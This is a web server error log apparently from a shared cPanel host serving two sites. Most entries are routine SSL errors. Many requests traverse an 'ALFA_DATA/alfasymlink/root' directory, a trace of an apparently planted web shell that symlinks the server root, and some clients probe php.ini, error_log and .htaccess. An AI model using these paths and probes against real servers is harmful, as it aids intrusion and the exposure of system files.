[Tue Oct 27 00:41:38.515997 2026] [ssl:error] [pid 3160938:tid 3160938] (70014)End of file found: [client 3.220.148.166:49334] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:41:42.483973 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 54.152.163.42:16839] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:41:54.619229 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 23.21.179.120:31247] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:42:06.634627 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 44.193.115.232:60151] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/node0/memory22/subsystem/drivers_probe
[Tue Oct 27 00:42:14.706784 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 107.20.25.33:9598] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:42:18.558421 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 44.218.170.184:16370] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:42:23.812982 2026] [ssl:error] [pid 3160938:tid 3160938] (70014)End of file found: [client 185.191.171.12:24022] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:42:34.841585 2026] [ssl:error] [pid 3160938:tid 3160938] (70014)End of file found: [client 3.222.190.107:2408] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:42:38.612160 2026] [ssl:error] [pid 3157828:tid 3157828] (5)Input/output error: [client 52.207.47.227:26812] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:42:40.501463 2026] [authz_core:error] [pid 3161103:tid 3161103] [client 138.68.19.145:22018] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 00:42:42.599814 2026] [ssl:error] [pid 3160994:tid 3160994] (70014)End of file found: [client 34.196.114.170:46074] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:42:50.882479 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 18.211.39.188:12638] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:43:08.045030 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 54.84.169.196:30825] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:43:11.150981 2026] [ssl:error] [pid 3160994:tid 3160994] (70014)End of file found: [client 3.216.86.144:22281] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:43:26.783247 2026] [core:error] [pid 3160994:tid 3160994] (13)Permission denied: [client 35.169.119.108:59557] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/input1/device/firmware_node/physical_node/driver/uevent
[Tue Oct 27 00:43:34.773886 2026] [core:error] [pid 3157911:tid 3157911] (13)Permission denied: [client 35.169.240.53:61850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory10/node0/cpu1/firmware_node/physical_node/firmware_node/subsystem/drivers/button/uevent
[Tue Oct 27 00:43:38.858019 2026] [core:error] [pid 3160994:tid 3160994] (13)Permission denied: [client 34.205.163.103:43165] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory13/node0/memory17/subsystem/drivers_probe
[Tue Oct 27 00:44:10.781237 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 34.231.156.59:2267] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:44:15.209289 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 100.29.155.89:57368] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:44:26.797957 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 54.88.84.219:63133] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:44:31.532057 2026] [core:error] [pid 3161716:tid 3161716] (13)Permission denied: [client 44.217.177.142:4235] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/subsystem/input3/event3/device/subsystem/input1/device/driver/uevent
[Tue Oct 27 00:44:34.828507 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 18.235.81.246:37597] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:44:47.169954 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 107.23.62.75:56145] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:44:54.992128 2026] [ssl:error] [pid 3160938:tid 3160938] (70014)End of file found: [client 23.23.103.31:12823] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:45:03.456117 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 52.70.123.241:40409] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:45:07.170251 2026] [ssl:error] [pid 3161717:tid 3161717] (5)Input/output error: [client 98.83.226.125:59496] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:45:08.750597 2026] [authz_core:error] [pid 3161716:tid 3161716] [client 94.154.43.38:42550] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 00:45:11.013368 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 184.73.195.18:22036] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:45:19.039845 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 18.213.70.100:25516] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:45:19.040055 2026] [security2:error] [pid 3161717:tid 3161717] [client 18.213.70.100:25516] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory10/node0/memory6/valid_zones"] [unique_id "auAsX0LtVG-easp4y84zywAAABM"]
[Tue Oct 27 00:45:19.040088 2026] [security2:error] [pid 3161717:tid 3161717] [client 18.213.70.100:25516] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory10/node0/memory6/valid_zones"] [unique_id "auAsX0LtVG-easp4y84zywAAABM"]
[Tue Oct 27 00:45:34.292186 2026] [ssl:error] [pid 3157910:tid 3157910] (5)Input/output error: [client 85.208.96.193:30572] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:45:34.329075 2026] [ssl:error] [pid 3152927:tid 3152927] (5)Input/output error: [client 85.208.96.193:30580] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:45:35.073231 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 3.213.85.234:38452] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:45:43.245029 2026] [ssl:error] [pid 3157910:tid 3157910] (70014)End of file found: [client 44.223.115.10:43569] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:45:49.403138 2026] [security2:error] [pid 3163247:tid 3163247] [client 104.28.225.117:36344] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-login.php"] [unique_id "auAsfckspihs1DaBim1ujQAAAAE"], referer: http://curso-de-ventas.com/wp-admin/
[Tue Oct 27 00:45:49.403184 2026] [security2:error] [pid 3163247:tid 3163247] [client 104.28.225.117:36344] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-login.php"] [unique_id "auAsfckspihs1DaBim1ujQAAAAE"], referer: http://curso-de-ventas.com/wp-admin/
[Tue Oct 27 00:45:50.296761 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 85.208.96.208:17758] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:45:59.540050 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 52.71.216.196:24702] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:46:03.155836 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 34.233.114.237:18453] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:46:06.212189 2026] [core:error] [pid 3163247:tid 3163247] (13)Permission denied: [client 185.191.171.14:18350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/trace
[Tue Oct 27 00:46:07.413248 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 100.29.160.53:13040] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:46:07.413482 2026] [security2:error] [pid 3161716:tid 3161716] [client 100.29.160.53:13040] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/subsystem/devices/node0/memory12/valid_zones"] [unique_id "auAsjzFUCXw5mcVb_cpNwQAAABI"]
[Tue Oct 27 00:46:07.413524 2026] [security2:error] [pid 3161716:tid 3161716] [client 100.29.160.53:13040] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/subsystem/devices/node0/memory12/valid_zones"] [unique_id "auAsjzFUCXw5mcVb_cpNwQAAABI"]
[Tue Oct 27 00:46:11.158050 2026] [core:error] [pid 3157805:tid 3157805] (13)Permission denied: [client 185.191.171.7:35000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/slabs
[Tue Oct 27 00:46:15.384460 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 35.173.38.202:63009] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:46:19.979784 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 50.17.193.48:23264] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:46:27.485183 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 18.213.70.100:45548] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:46:29.984986 2026] [ssl:error] [pid 3161716:tid 3161716] (22)Invalid argument: [client 85.208.96.201:18976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:46:30.214907 2026] [ssl:error] [pid 3152927:tid 3152927] (22)Invalid argument: [client 85.208.96.201:18990] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:46:39.433939 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 35.169.119.108:62706] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:46:50.158342 2026] [core:error] [pid 3157911:tid 3157911] (13)Permission denied: [client 185.191.171.15:33074] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/destroy_by_rcu
[Tue Oct 27 00:47:23.699139 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 54.157.84.74:9087] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:47:27.829630 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 54.225.148.123:35650] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:47:39.529883 2026] [ssl:error] [pid 3152927:tid 3152927] (5)Input/output error: [client 3.227.180.70:15844] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:47:43.579561 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 44.221.227.90:57518] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:47:47.621662 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 54.92.171.106:13669] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:47:59.821550 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 52.203.68.145:59361] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:48:07.758678 2026] [ssl:error] [pid 3160994:tid 3160994] (70014)End of file found: [client 3.90.73.206:60708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:48:12.497523 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 54.87.62.248:16165] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:48:20.085029 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 52.207.47.227:61154] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:48:23.801610 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 3.213.46.222:14909] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:48:36.090549 2026] [core:error] [pid 3152927:tid 3152927] (13)Permission denied: [client 44.193.102.198:37974] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/driver/new_id
[Tue Oct 27 00:48:59.710761 2026] [core:error] [pid 3157910:tid 3157910] (13)Permission denied: [client 34.226.89.140:38028] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource4
[Tue Oct 27 00:49:07.744184 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 54.225.148.123:48712] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:49:12.038129 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 50.19.79.213:38922] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:49:15.918518 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 34.195.60.66:12508] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:49:32.705561 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 23.21.119.232:58827] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:49:35.894908 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 34.236.135.14:59184] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:49:51.852949 2026] [core:error] [pid 3157911:tid 3157911] (13)Permission denied: [client 44.223.232.55:61031] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/memory8/subsystem/drivers_probe
[Tue Oct 27 00:49:53.255072 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 185.191.171.6:11386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/sanity_checks
[Tue Oct 27 00:49:56.192316 2026] [authz_core:error] [pid 3161716:tid 3161716] [client 169.150.196.238:26707] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://curso-de-ventas.com/
[Tue Oct 27 00:50:15.672745 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 98.83.226.125:16052] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:50:19.796644 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 98.82.38.120:33222] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:50:39.778930 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 184.72.84.154:34310] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:50:43.973135 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 98.82.214.73:41010] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:50:46.264413 2026] [core:error] [pid 3161102:tid 3161102] (13)Permission denied: [client 185.191.171.10:38182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/proftpd.conf.rpmsave
[Tue Oct 27 00:50:47.334856 2026] [core:crit] [pid 3157911:tid 3157911] (13)Permission denied: [client 66.132.195.196:29288] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 00:50:47.951561 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 44.193.102.198:50847] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:50:51.399070 2026] [core:error] [pid 3157404:tid 3157404] (13)Permission denied: [client 85.208.96.199:13106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/CSPCSPDaemon.lock
[Tue Oct 27 00:50:57.783928 2026] [core:crit] [pid 3161717:tid 3161717] (13)Permission denied: [client 66.132.195.196:41496] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 00:51:03.804956 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 18.233.24.238:35080] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:51:24.092437 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 54.243.63.52:63730] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:51:27.949556 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 98.84.200.43:47004] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:51:32.174716 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 3.212.219.113:37658] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:51:39.693212 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 3.213.85.234:13311] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:51:43.887289 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 98.82.40.168:16537] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:51:47.912049 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 44.206.65.8:3185] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:51:55.744007 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 44.209.187.99:48361] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:52:07.882066 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 18.232.36.1:29169] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:52:12.109030 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 3.94.199.128:10108] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:52:15.884438 2026] [ssl:error] [pid 3160385:tid 3160385] (70014)End of file found: [client 23.21.119.232:28596] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:52:19.687708 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 98.84.184.80:45225] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:52:27.819642 2026] [core:error] [pid 3160385:tid 3160385] (13)Permission denied: [client 34.195.60.66:17653] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:01/wakeup/wakeup1/device/subsystem/drivers_probe
[Tue Oct 27 00:52:31.852012 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 52.73.142.41:64599] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:52:35.869227 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 44.212.232.231:5141] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:52:52.146782 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 52.21.62.139:35754] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:52:56.212003 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 34.196.114.170:20626] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:53:11.672108 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 85.208.96.212:51688] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:53:15.942213 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 34.225.243.131:31846] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:53:32.241408 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 54.204.62.163:48821] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:53:35.072635 2026] [core:error] [pid 3161716:tid 3161716] (13)Permission denied: [client 185.191.171.8:47084] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/hwcache_align
[Tue Oct 27 00:53:35.710924 2026] [core:error] [pid 3147513:tid 3147513] (13)Permission denied: [client 52.203.65.83:30660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/ec/unbind
[Tue Oct 27 00:53:43.804803 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 107.22.208.39:6637] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:53:48.469239 2026] [ssl:error] [pid 3147513:tid 3147513] (2)No such file or directory: [client 23.23.213.182:7290] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:53:51.879536 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 34.192.125.239:3634] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:53:53.554590 2026] [core:error] [pid 3157805:tid 3157805] (13)Permission denied: [client 85.208.96.200:12404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/cpu_partial
[Tue Oct 27 00:53:55.708316 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 3.210.223.61:21588] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:54:00.088682 2026] [ssl:error] [pid 3161717:tid 3161717] (70014)End of file found: [client 107.20.224.184:51275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:54:04.018610 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 100.29.34.97:11708] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:05.0/driver/remove_id
[Tue Oct 27 00:54:05.203944 2026] [security2:error] [pid 3161102:tid 3161102] [client 162.158.247.231:51870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auAubfnRPSyWHRLEp--tZAAAAAw"]
[Tue Oct 27 00:54:05.203979 2026] [security2:error] [pid 3161102:tid 3161102] [client 162.158.247.231:51870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auAubfnRPSyWHRLEp--tZAAAAAw"]
[Tue Oct 27 00:54:07.867204 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 3.225.45.252:61158] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:54:11.796597 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 54.92.171.106:31920] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:54:13.996308 2026] [core:error] [pid 3157805:tid 3157805] (13)Permission denied: [client 85.208.96.198:52220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/store_user
[Tue Oct 27 00:54:15.867403 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 52.44.229.124:32426] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:54:23.752695 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 52.7.13.143:15299] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:54:25.262233 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 185.191.171.8:62882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/objects_partial
[Tue Oct 27 00:54:27.898172 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 34.194.14.255:18741] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:54:31.939625 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 54.157.84.74:17774] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:54:44.727619 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 23.21.228.180:16585] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:54:47.658352 2026] [ssl:error] [pid 3161102:tid 3161102] (70014)End of file found: [client 23.23.104.107:61119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:55:01.041029 2026] [authz_core:error] [pid 3161717:tid 3161717] [client 130.12.180.163:54878] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 00:55:11.761472 2026] [ssl:error] [pid 3158128:tid 3158128] (70014)End of file found: [client 98.84.60.17:32270] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:55:27.908083 2026] [ssl:error] [pid 3160385:tid 3160385] (70014)End of file found: [client 100.29.160.53:46160] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:55:35.898599 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 34.227.234.246:3511] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:55:39.773173 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 54.163.169.168:52388] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:55:51.641687 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 54.83.240.58:16635] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:55:55.773423 2026] [ssl:error] [pid 3161103:tid 3161103] (70014)End of file found: [client 3.218.35.239:35515] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:55:59.696407 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 3.94.157.25:13289] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:56:03.725344 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 44.212.106.171:58284] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:56:07.640401 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 44.212.131.50:7278] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:56:11.799519 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.215.59.93:14433] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:56:23.665738 2026] [ssl:error] [pid 3160385:tid 3160385] (70014)End of file found: [client 54.156.55.147:52745] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:56:27.775981 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 35.171.117.160:18785] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:56:35.558925 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 54.147.238.89:18742] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:56:55.361714 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 34.195.248.30:15494] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:57:11.357199 2026] [ssl:error] [pid 3157802:tid 3157802] (95)Operation not supported: [client 18.207.79.144:23307] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:57:15.333190 2026] [ssl:error] [pid 3157394:tid 3157394] (5)Input/output error: [client 18.204.89.56:33696] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:57:27.244099 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 52.54.157.23:52666] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:57:31.482974 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.94.156.104:12211] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:57:31.924083 2026] [core:error] [pid 3163247:tid 3163247] (13)Permission denied: [client 185.191.171.15:58464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/sanity_checks
[Tue Oct 27 00:57:33.464091 2026] [ssl:error] [pid 3157802:tid 3157802] (70014)End of file found: [client 185.191.171.2:18936] AH02013: coalesce failed to read from data bucket
